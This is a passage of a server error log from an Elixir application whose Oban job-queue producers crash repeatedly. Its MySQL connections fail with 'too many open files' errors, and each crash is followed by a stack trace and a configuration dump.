State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:09:22.239802Z], limit: 50, uuid: "3645210c-742e-4258-a2ee-a9413d951910", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.239808Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48528>, refresh_timer: #Reference<0.2525715032.1068498948.48491>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:37.191000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:39.443000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:39.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:40.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:44.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:09:35.239331Z], limit: 5, uuid: "0a7f1ae3-3580-4bbb-9612-30e06e6e46a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.239336Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161899>, refresh_timer: #Reference<0.2525715032.1068498948.48640>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:09:35.239131Z], limit: 10, uuid: "ac028c50-b73c-4348-93c7-3c9c0db47b83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.239136Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161897>, refresh_timer: #Reference<0.2525715032.1099431938.48878>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:09:35.238761Z], limit: 3, uuid: "21df2f01-12c1-4d86-81b7-c7e28d779a43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.238767Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161901>, refresh_timer: #Reference<0.2525715032.1068498948.48636>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:09:35.239513Z], limit: 50, uuid: "fd229942-604d-4c41-ad4c-b66bab0cbce4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161900>, refresh_timer: #Reference<0.2525715032.1068498948.48648>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:09:35.238524Z], limit: 20, uuid: "64433282-4bfb-4862-ad57-74bcb4afcd4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.238530Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161896>, refresh_timer: #Reference<0.2525715032.1099431938.48864>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:09:35.238372Z], limit: 5, uuid: "070c57d6-221c-4c55-9410-026b3d56657b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:35.238381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161898>, refresh_timer: #Reference<0.2525715032.1099431938.48863>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:47.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:49.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:54.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:56.919000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:57.760000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:58.125000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:59.039000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:09:47.239500Z], limit: 10, uuid: "17688939-6eaa-47a8-bf73-3b5473af490a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.239506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162173>, refresh_timer: #Reference<0.2525715032.1099431938.49000>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:09:47.241328Z], limit: 20, uuid: "a226848c-693f-4f3d-8d1c-bde926cd7ac1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:47.241333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162174>, refresh_timer: #Reference<0.2525715032.1068498948.48787>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

